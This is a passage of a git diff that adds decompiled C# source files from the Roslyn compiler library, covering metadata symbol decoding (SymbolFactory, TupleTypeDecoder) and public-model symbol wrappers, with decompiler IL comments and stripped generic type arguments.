b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEUtilities.cs new file mode 100644 index 0000000..d726f56 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEUtilities.cs @@ -0,0 +1,17 @@ +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal static class PEUtilities +{ + internal static DiagnosticInfo? DeriveCompilerFeatureRequiredAttributeDiagnostic(Symbol symbol, PEModuleSymbol module, EntityHandle handle, CompilerFeatureRequiredFeatures allowedFeatures, MetadataDecoder decoder) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + string firstUnsupportedCompilerFeatureFromToken = module.Module.GetFirstUnsupportedCompilerFeatureFromToken(handle, (IAttributeNamedArgumentDecoder)(object)decoder, allowedFeatures); + if (firstUnsupportedCompilerFeatureFromToken == null) + { + return null; + } + return (DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnsupportedCompilerFeature, symbol, firstUnsupportedCompilerFeatureFromToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/SymbolFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/SymbolFactory.cs new file mode 100644 index 0000000..934b250 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/SymbolFactory.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class SymbolFactory : SymbolFactory +{ + internal static readonly SymbolFactory Instance = new SymbolFactory(); + + internal override TypeSymbol GetMDArrayTypeSymbol(PEModuleSymbol moduleSymbol, int rank, TypeSymbol elementType, ImmutableArray> customModifiers, ImmutableArray sizes, ImmutableArray lowerBounds) + { + if (elementType is UnsupportedMetadataTypeSymbol) + { + return elementType; + } + return ArrayTypeSymbol.CreateMDArray(moduleSymbol.ContainingAssembly, CreateType(elementType, customModifiers), rank, sizes, lowerBounds); + } + + internal override TypeSymbol GetSpecialType(PEModuleSymbol moduleSymbol, SpecialType specialType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return moduleSymbol.ContainingAssembly.GetSpecialType(specialType); + } + + internal override TypeSymbol GetSystemTypeSymbol(PEModuleSymbol moduleSymbol) + { + return moduleSymbol.SystemTypeSymbol; + } + + internal override TypeSymbol MakePointerTypeSymbol(PEModuleSymbol moduleSymbol, TypeSymbol type, ImmutableArray> customModifiers) + { + if (type is UnsupportedMetadataTypeSymbol) + { + return type; + } + return new PointerTypeSymbol(CreateType(type, customModifiers)); + } + + internal override TypeSymbol MakeFunctionPointerTypeSymbol(PEModuleSymbol moduleSymbol, CallingConvention callingConvention, ImmutableArray> retAndParamTypes) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerTypeSymbol.CreateFromMetadata(moduleSymbol, callingConvention, retAndParamTypes); + } + + internal override TypeSymbol GetEnumUnderlyingType(PEModuleSymbol moduleSymbol, TypeSymbol type) + { + return type.GetEnumUnderlyingType(); + } + + internal override PrimitiveTypeCode GetPrimitiveTypeCode(PEModuleSymbol moduleSymbol, TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return type.PrimitiveTypeCode; + } + + internal override TypeSymbol GetSZArrayTypeSymbol(PEModuleSymbol moduleSymbol, TypeSymbol elementType, ImmutableArray> customModifiers) + { + if (elementType is UnsupportedMetadataTypeSymbol) + { + return elementType; + } + return ArrayTypeSymbol.CreateSZArray(moduleSymbol.ContainingAssembly, CreateType(elementType, customModifiers)); + } + + internal override TypeSymbol GetUnsupportedMetadataTypeSymbol(PEModuleSymbol moduleSymbol, BadImageFormatException exception) + { + return new UnsupportedMetadataTypeSymbol(exception); + } + + internal override TypeSymbol SubstituteTypeParameters(PEModuleSymbol moduleSymbol, TypeSymbol genericTypeDef, ImmutableArray>>> arguments, ImmutableArray refersToNoPiaLocalType) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + if (genericTypeDef is UnsupportedMetadataTypeSymbol) + { + return genericTypeDef; + } + ImmutableArray>>>.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair>> current = enumerator.Current; + if ((int)current.Key.Kind == 4 && current.Key is UnsupportedMetadataTypeSymbol) + { + return new UnsupportedMetadataTypeSymbol(); + } + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)genericTypeDef; + ImmutableArray linkedReferencedAssemblies = moduleSymbol.ContainingAssembly.GetLinkedReferencedAssemblies(); + bool flag = false; + if (!linkedReferencedAssemblies.IsDefaultOrEmpty || moduleSymbol.Module.ContainsNoPiaLocalTypes()) + { + NamedTypeSymbol namedTypeSymbol2 = namedTypeSymbol; + int num = refersToNoPiaLocalType.Length - 1; + while (namedTypeSymbol2.IsInterface) + { + num -= namedTypeSymbol2.Arity; + namedTypeSymbol2 = namedTypeSymbol2.ContainingType; + if ((object)namedTypeSymbol2 == null) + { + break; + } + } + for (int num2 = num; num2 >= 0; num2--) + { + if (refersToNoPiaLocalType[num2] || (!linkedReferencedAssemblies.IsDefaultOrEmpty && MetadataDecoder.IsOrClosedOverATypeFromAssemblies(arguments[num2].Key, linkedReferencedAssemblies))) + { + flag = true; + break; + } + } + } + ImmutableArray allTypeParameters = namedTypeSymbol.GetAllTypeParameters(); + if (allTypeParameters.Length != arguments.Length) + { + return new UnsupportedMetadataTypeSymbol(); + } + NamedTypeSymbol namedTypeSymbol3 = new TypeMap(allTypeParameters, ImmutableArrayExtensions.SelectAsArray>>, TypeWithAnnotations>(arguments, (Func>>, TypeWithAnnotations>)((KeyValuePair>> arg) => CreateType(arg.Key, arg.Value)))).SubstituteNamedType(namedTypeSymbol); + if (flag) + { + namedTypeSymbol3 = new NoPiaIllegalGenericInstantiationSymbol(moduleSymbol, namedTypeSymbol3); + } + return namedTypeSymbol3; + } + + internal override TypeSymbol MakeUnboundIfGeneric(PEModuleSymbol moduleSymbol, TypeSymbol type) + { + if (!(type is NamedTypeSymbol { IsGenericType: not false } namedTypeSymbol)) + { + return type; + } + return namedTypeSymbol.AsUnboundGenericType(); + } + + private static TypeWithAnnotations CreateType(TypeSymbol type, ImmutableArray> customModifiers) + { + return TypeWithAnnotations.Create(type, NullableAnnotation.Oblivious, CSharpCustomModifier.Convert(customModifiers)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/TupleTypeDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/TupleTypeDecoder.cs new file mode 100644 index 0000000..8d3fc6c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/TupleTypeDecoder.cs @@ -0,0 +1,270 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal struct TupleTypeDecoder +{ + private readonly ImmutableArray _elementNames; + + private int _namesIndex; + + private bool _foundUsableErrorType; + + private bool _decodingFailed; + + private TupleTypeDecoder(ImmutableArray elementNames) + { + _elementNames = elementNames; + _namesIndex = ((!elementNames.IsDefault) ? elementNames.Length : 0); + _decodingFailed = false; + _foundUsableErrorType = false; + } + + public static TypeSymbol DecodeTupleTypesIfApplicable(TypeSymbol metadataType, EntityHandle targetHandle, PEModuleSymbol containingModule) + { + ImmutableArray elementNames = default(ImmutableArray); + bool flag = containingModule.Module.HasTupleElementNamesAttribute(targetHandle, ref elementNames); + if (flag && elementNames.IsDefaultOrEmpty) + { + return new UnsupportedMetadataTypeSymbol(); + } + return DecodeTupleTypesInternal(metadataType, elementNames, flag); + } + + public static TypeWithAnnotations DecodeTupleTypesIfApplicable(TypeWithAnnotations metadataType, EntityHandle targetHandle, PEModuleSymbol containingModule) + { + ImmutableArray elementNames = default(ImmutableArray); + bool flag = containingModule.Module.HasTupleElementNamesAttribute(targetHandle, ref elementNames); + if (flag && elementNames.IsDefaultOrEmpty) + { + return TypeWithAnnotations.Create(new UnsupportedMetadataTypeSymbol()); + } + TypeSymbol type = metadataType.Type; + TypeSymbol typeSymbol = DecodeTupleTypesInternal(type, elementNames, flag); + if ((object)typeSymbol != type) + { + return TypeWithAnnotations.Create(typeSymbol, metadataType.NullableAnnotation, metadataType.CustomModifiers); + } + return metadataType; + } + + public static TypeSymbol DecodeTupleTypesIfApplicable(TypeSymbol metadataType, ImmutableArray elementNames) + { + return DecodeTupleTypesInternal(metadataType, elementNames, !elementNames.IsDefaultOrEmpty); + } + + private static TypeSymbol DecodeTupleTypesInternal(TypeSymbol metadataType, ImmutableArray elementNames, bool hasTupleElementNamesAttribute) + { + TupleTypeDecoder tupleTypeDecoder = new TupleTypeDecoder(elementNames); + TypeSymbol result = tupleTypeDecoder.DecodeType(metadataType); + if (!tupleTypeDecoder._decodingFailed && (!hasTupleElementNamesAttribute || tupleTypeDecoder._namesIndex == 0)) + { + return result; + } + if (tupleTypeDecoder._foundUsableErrorType) + { + return metadataType; + } + return new UnsupportedMetadataTypeSymbol(); + } + + private TypeSymbol DecodeType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected I4, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + SymbolKind kind = type.Kind; + if ((int)kind <= 11) + { + switch (kind - 1) + { + default: + if ((int)kind != 11) + { + goto IL_007b; + } + return DecodeNamedType((NamedTypeSymbol)type); + case 3: + _foundUsableErrorType = true; + return type; + case 2: + break; + case 0: + return DecodeArrayType((ArrayTypeSymbol)type); + case 1: + goto IL_007b; + } + } + else + { + if ((int)kind == 14) + { + return DecodePointerType((PointerTypeSymbol)type); + } + if ((int)kind != 17) + { + if ((int)kind != 20) + { + goto IL_007b; + } + return DecodeFunctionPointerType((FunctionPointerTypeSymbol)type); + } + } + return type; + IL_007b: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + + private PointerTypeSymbol DecodePointerType(PointerTypeSymbol type) + { + return type.WithPointedAtType(DecodeTypeInternal(type.PointedAtTypeWithAnnotations)); + } + + private FunctionPointerTypeSymbol DecodeFunctionPointerType(FunctionPointerTypeSymbol type) + { + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + bool flag = false; + if (type.Signature.ParameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(type.Signature.ParameterCount); + for (int num = type.Signature.ParameterCount - 1; num >= 0; num--) + { + ParameterSymbol parameterSymbol = type.Signature.Parameters[num]; + TypeWithAnnotations typeWithAnnotations = DecodeTypeInternal(parameterSymbol.TypeWithAnnotations); + flag = flag || !typeWithAnnotations.IsSameAs(parameterSymbol.TypeWithAnnotations); + instance.Add(typeWithAnnotations); + } + if (flag) + { + instance.ReverseContents(); + substitutedParameterTypes = instance.ToImmutableAndFree(); + } + else + { + substitutedParameterTypes = type.Signature.ParameterTypesWithAnnotations; + instance.Free(); + } + } + TypeWithAnnotations substitutedReturnType = DecodeTypeInternal(type.Signature.ReturnTypeWithAnnotations); + if (flag || !substitutedReturnType.IsSameAs(type.Signature.ReturnTypeWithAnnotations)) + { + return type.SubstituteTypeSymbol(substitutedReturnType, substitutedParameterTypes, default(ImmutableArray), default(ImmutableArray>)); + } + return type; + } + + private NamedTypeSymbol DecodeNamedType(NamedTypeSymbol type) + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray immutableArray = DecodeTypeArguments(typeArgumentsWithAnnotationsNoUseSiteDiagnostics); + NamedTypeSymbol namedTypeSymbol = type; + NamedTypeSymbol containingType = type.ContainingType; + NamedTypeSymbol namedTypeSymbol2 = (((object)containingType == null || !containingType.IsGenericType) ? containingType : DecodeNamedType(containingType)); + bool flag = (object)namedTypeSymbol2 != containingType; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics != immutableArray || flag) + { + if (flag) + { + namedTypeSymbol = namedTypeSymbol.OriginalDefinition.AsMember(namedTypeSymbol2); + return namedTypeSymbol.ConstructIfGeneric(immutableArray); + } + namedTypeSymbol = type.ConstructedFrom.Construct(immutableArray, unbound: false); + } + if (namedTypeSymbol.IsTupleType) + { + int length = namedTypeSymbol.TupleElementTypesWithAnnotations.Length; + if (length > 0) + { + ImmutableArray elementNames = EatElementNamesIfAvailable(length); + namedTypeSymbol = NamedTypeSymbol.CreateTuple(namedTypeSymbol, elementNames); + } + } + return namedTypeSymbol; + } + + private ImmutableArray DecodeTypeArguments(ImmutableArray typeArgs) + { + if (typeArgs.IsEmpty) + { + return typeArgs; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArgs.Length); + bool flag = false; + for (int num = typeArgs.Length - 1; num >= 0; num--) + { + TypeWithAnnotations typeWithAnnotations = typeArgs[num]; + TypeWithAnnotations typeWithAnnotations2 = DecodeTypeInternal(typeWithAnnotations); + flag |= !typeWithAnnotations2.IsSameAs(typeWithAnnotations); + instance.Add(typeWithAnnotations2); + } + if (!flag) + { + instance.Free(); + return typeArgs; + } + instance.ReverseContents(); + return instance.ToImmutableAndFree(); + } + + private ArrayTypeSymbol DecodeArrayType(ArrayTypeSymbol type) + { + TypeWithAnnotations elementTypeWithAnnotations = DecodeTypeInternal(type.ElementTypeWithAnnotations); + return type.WithElementType(elementTypeWithAnnotations); + } + + private TypeWithAnnotations DecodeTypeInternal(TypeWithAnnotations typeWithAnnotations) + { + TypeSymbol type = typeWithAnnotations.Type; + TypeSymbol typeSymbol = DecodeType(type); + if ((object)typeSymbol != type) + { + return TypeWithAnnotations.Create(typeSymbol, typeWithAnnotations.NullableAnnotation, typeWithAnnotations.CustomModifiers); + } + return typeWithAnnotations; + } + + private ImmutableArray EatElementNamesIfAvailable(int numberOfElements) + { + if (_elementNames.IsDefault) + { + return _elementNames; + } + if (numberOfElements > _namesIndex) + { + _namesIndex = 0; + _decodingFailed = true; + return default(ImmutableArray); + } + int num = (_namesIndex -= numberOfElements); + bool flag = true; + for (int i = 0; i < numberOfElements; i++) + { + if (_elementNames[num + i] != null) + { + flag = false; + break; + } + } + if (flag) + { + return default(ImmutableArray); + } + return ImmutableArray.Create(_elementNames, num, numberOfElements); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AliasSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AliasSymbol.cs new file mode 100644 index 0000000..d8a51b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AliasSymbol.cs @@ -0,0 +1,32 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class AliasSymbol : Symbol, IAliasSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + INamespaceOrTypeSymbol IAliasSymbol.Target => _underlying.Target.GetPublicSymbol(); + + public AliasSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitAlias((IAliasSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitAlias((IAliasSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitAlias((IAliasSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ArrayTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ArrayTypeSymbol.cs new file mode 100644 index 0000000..a27419e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ArrayTypeSymbol.cs @@ -0,0 +1,75 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class ArrayTypeSymbol : TypeSymbol, IArrayTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol _underlying; + + private ITypeSymbol? _lazyElementType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + int IArrayTypeSymbol.Rank => _underlying.Rank; + + bool IArrayTypeSymbol.IsSZArray => _underlying.IsSZArray; + + ImmutableArray IArrayTypeSymbol.LowerBounds => _underlying.LowerBounds; + + ImmutableArray IArrayTypeSymbol.Sizes => _underlying.Sizes; + + ITypeSymbol IArrayTypeSymbol.ElementType + { + get + { + if (_lazyElementType == null) + { + Interlocked.CompareExchange(ref _lazyElementType, _underlying.ElementTypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyElementType; + } + } + + NullableAnnotation IArrayTypeSymbol.ElementNullableAnnotation => _underlying.ElementTypeWithAnnotations.ToPublicAnnotation(); + + ImmutableArray IArrayTypeSymbol.CustomModifiers => _underlying.ElementTypeWithAnnotations.CustomModifiers; + + public ArrayTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new ArrayTypeSymbol(_underlying, nullableAnnotation); + } + + bool IArrayTypeSymbol.Equals(IArrayTypeSymbol? other) + { + return Equals(other as ArrayTypeSymbol, SymbolEqualityComparer.Default); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitArrayType((IArrayTypeSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitArrayType((IArrayTypeSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitArrayType((IArrayTypeSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AssemblySymbol.cs new file mode 100644 index 0000000..2edcde9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/AssemblySymbol.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal abstract class AssemblySymbol : Symbol, IAssemblySymbol, ISymbol, IEquatable +{ + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol UnderlyingAssemblySymbol { get; } + + INamespaceSymbol IAssemblySymbol.GlobalNamespace => UnderlyingAssemblySymbol.GlobalNamespace.GetPublicSymbol(); + + IEnumerable IAssemblySymbol.Modules + { + get + { + ImmutableArray.Enumerator enumerator = UnderlyingAssemblySymbol.Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol current = enumerator.Current; + yield return current.GetPublicSymbol(); + } + } + } + + bool IAssemblySymbol.IsInteractive => UnderlyingAssemblySymbol.IsInteractive; + + AssemblyIdentity IAssemblySymbol.Identity => UnderlyingAssemblySymbol.Identity; + + ICollection IAssemblySymbol.TypeNames => UnderlyingAssemblySymbol.TypeNames; + + ICollection IAssemblySymbol.NamespaceNames => UnderlyingAssemblySymbol.NamespaceNames; + + bool IAssemblySymbol.MightContainExtensionMethods => UnderlyingAssemblySymbol.MightContainExtensionMethods; + + AssemblyMetadata IAssemblySymbol.GetMetadata() + { + return UnderlyingAssemblySymbol.GetMetadata(); + } + + INamedTypeSymbol IAssemblySymbol.ResolveForwardedType(string fullyQualifiedMetadataName) + { + return UnderlyingAssemblySymbol.ResolveForwardedType(fullyQualifiedMetadataName).GetPublicSymbol(); + } + + ImmutableArray IAssemblySymbol.GetForwardedTypes() + { + return ImmutableArrayExtensions.AsImmutable((IEnumerable)(from t in UnderlyingAssemblySymbol.GetAllTopLevelForwardedTypes() + select t.GetPublicSymbol() into t + orderby ((ISymbol)t).ToDisplayString(SymbolDisplayFormat.QualifiedNameArityFormat) + select t)); + } + + bool IAssemblySymbol.GivesAccessTo(IAssemblySymbol assemblyWantingAccess) + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + if (object.Equals(this, assemblyWantingAccess)) + { + return true; + } + IEnumerable> internalsVisibleToPublicKeys = UnderlyingAssemblySymbol.GetInternalsVisibleToPublicKeys(((ISymbol)assemblyWantingAccess).Name); + if (internalsVisibleToPublicKeys.Any()) + { + if (ISymbolExtensions.IsNetModule(assemblyWantingAccess)) + { + return true; + } + AssemblyIdentity identity = UnderlyingAssemblySymbol.Identity; + foreach (ImmutableArray item in internalsVisibleToPublicKeys) + { + IVTConclusion val = ISymbolExtensions.PerformIVTCheck(identity, assemblyWantingAccess.Identity.PublicKey, item); + if ((int)val == 0 || (int)val == 1) + { + return true; + } + } + } + return false; + } + + INamedTypeSymbol? IAssemblySymbol.GetTypeByMetadataName(string metadataName) + { + return UnderlyingAssemblySymbol.GetTypeByMetadataName(metadataName).GetPublicSymbol(); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitAssembly((IAssemblySymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitAssembly((IAssemblySymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitAssembly((IAssemblySymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DiscardSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DiscardSymbol.cs new file mode 100644 index 0000000..fa6fa0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DiscardSymbol.cs @@ -0,0 +1,47 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class DiscardSymbol : Symbol, IDiscardSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.DiscardSymbol _underlying; + + private ITypeSymbol? _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + ITypeSymbol IDiscardSymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation IDiscardSymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + public DiscardSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.DiscardSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitDiscard((IDiscardSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitDiscard((IDiscardSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitDiscard((IDiscardSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DynamicTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DynamicTypeSymbol.cs new file mode 100644 index 0000000..e7abbb7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/DynamicTypeSymbol.cs @@ -0,0 +1,42 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class DynamicTypeSymbol : TypeSymbol, IDynamicTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.DynamicTypeSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + public DynamicTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.DynamicTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new DynamicTypeSymbol(_underlying, nullableAnnotation); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitDynamicType((IDynamicTypeSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitDynamicType((IDynamicTypeSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitDynamicType((IDynamicTypeSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ErrorTypeSymbol.cs new file mode 100644 index 0000000..0bbc06c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ErrorTypeSymbol.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class ErrorTypeSymbol : NamedTypeSymbol, IErrorTypeSymbol, INamedTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol UnderlyingNamedTypeSymbol => _underlying; + + ImmutableArray IErrorTypeSymbol.CandidateSymbols => ImmutableArrayExtensions.SelectAsArray(_underlying.CandidateSymbols, (Func)((Microsoft.CodeAnalysis.CSharp.Symbol s) => s.GetPublicSymbol())); + + CandidateReason IErrorTypeSymbol.CandidateReason => _underlying.CandidateReason; + + public ErrorTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol 